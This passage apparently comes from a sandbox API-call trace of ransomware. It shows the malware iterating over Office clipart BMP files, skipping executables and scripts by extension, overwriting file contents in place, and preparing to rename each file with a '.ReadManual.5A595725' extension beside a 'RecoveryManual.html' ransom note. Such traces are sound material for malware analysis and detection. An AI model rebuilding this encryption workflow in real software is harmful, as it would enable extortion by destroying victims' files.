Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0266.027] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.027] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.027] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.027] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.028] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.028] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.031] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.031] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.031] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.032] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38670032071) returned 1 [0266.032] CloseHandle (hObject=0x184) returned 1 [0266.032] SetSecurityInfo () returned 0x57 [0266.032] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.032] CloseHandle (hObject=0x194) returned 1 [0266.032] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0266.032] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101859.BMP" | out: lpString1="J0101859.BMP") returned="J0101859.BMP" [0266.032] lstrcmpiW (lpString1="J0101859.BMP", lpString2="RecoveryManual.html") returned -1 [0266.032] StrStrIW (lpFirst="J0101859.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.032] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.032] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.032] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.033] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.033] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.033] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" [0266.033] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ReadManual.5A595725" [0266.033] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ReadManual.5A595725") returned 87 [0266.033] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38670149570) returned 1 [0266.033] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0266.033] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.033] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0266.033] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0266.033] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.034] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.034] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.036] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.036] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0266.036] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.037] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38670538192) returned 1 [0266.037] CloseHandle (hObject=0x184) returned 1 [0266.037] SetSecurityInfo () returned 0x57 [0266.037] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.037] CloseHandle (hObject=0x194) returned 1 [0266.037] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0266.037] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101860.BMP" | out: lpString1="J0101860.BMP") returned="J0101860.BMP" [0266.037] lstrcmpiW (lpString1="J0101860.BMP", lpString2="RecoveryManual.html") returned -1 [0266.037] StrStrIW (lpFirst="J0101860.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.037] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.037] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.037] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.038] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" [0266.038] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ReadManual.5A595725" [0266.038] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ReadManual.5A595725") returned 87 [0266.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38670639340) returned 1 [0266.038] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0266.038] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.038] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.038] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.038] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.039] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.039] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.041] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.041] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.041] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.042] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38671030606) returned 1 [0266.042] CloseHandle (hObject=0x184) returned 1 [0266.042] SetSecurityInfo () returned 0x57 [0266.042] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.042] CloseHandle (hObject=0x194) returned 1 [0266.042] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0266.042] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101861.BMP" | out: lpString1="J0101861.BMP") returned="J0101861.BMP" [0266.042] lstrcmpiW (lpString1="J0101861.BMP", lpString2="RecoveryManual.html") returned -1 [0266.042] StrStrIW (lpFirst="J0101861.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.042] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.042] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.042] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.042] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" [0266.042] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ReadManual.5A595725" [0266.042] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ReadManual.5A595725") returned 87 [0266.043] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38671128322) returned 1 [0266.043] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0266.043] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.044] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.044] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.044] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.044] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.044] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.047] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.048] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38671684715) returned 1 [0266.048] CloseHandle (hObject=0x184) returned 1 [0266.048] SetSecurityInfo () returned 0x57 [0266.048] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.048] CloseHandle (hObject=0x194) returned 1 [0266.048] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0266.048] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101862.BMP" | out: lpString1="J0101862.BMP") returned="J0101862.BMP" [0266.048] lstrcmpiW (lpString1="J0101862.BMP", lpString2="RecoveryManual.html") returned -1 [0266.049] StrStrIW (lpFirst="J0101862.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.049] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.049] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.049] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.049] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" [0266.049] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ReadManual.5A595725" [0266.049] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ReadManual.5A595725") returned 87 [0266.049] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38671785642) returned 1 [0266.049] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0266.049] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.050] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.050] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.050] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.050] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.050] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.052] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.053] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.053] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.053] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38672185464) returned 1 [0266.053] CloseHandle (hObject=0x184) returned 1 [0266.053] SetSecurityInfo () returned 0x57 [0266.053] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.053] CloseHandle (hObject=0x194) returned 1 [0266.053] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0266.053] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101863.BMP" | out: lpString1="J0101863.BMP") returned="J0101863.BMP" [0266.053] lstrcmpiW (lpString1="J0101863.BMP", lpString2="RecoveryManual.html") returned -1 [0266.054] StrStrIW (lpFirst="J0101863.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.054] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.054] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.054] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.054] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" [0266.054] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ReadManual.5A595725" [0266.054] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ReadManual.5A595725") returned 87 [0266.054] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38672284251) returned 1 [0266.054] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0266.054] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.055] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.055] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.055] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.055] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.057] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.058] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 